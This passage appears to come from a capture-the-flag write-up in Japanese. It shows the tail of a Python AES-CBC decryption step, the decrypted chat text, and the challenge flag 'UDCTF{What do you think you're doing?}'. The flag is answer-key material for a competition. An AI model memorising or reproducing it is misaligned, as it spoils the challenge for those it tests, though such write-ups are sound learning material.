bytes.fromhex(data['iv']) cipher = AES.new(shared_secret, AES.MODE_CBC, iv) pt = unpad(cipher.decrypt(message), 16).decode() print(pt)
実行結果は以下の通り。
UDCTF{What do you think you're doing?} What? With Alice I don't think that's your business It is now What are you talking about? I'm her boss You're not serious yes I am This is insane leave her alone fine
UDCTF{What do you think you're doing?}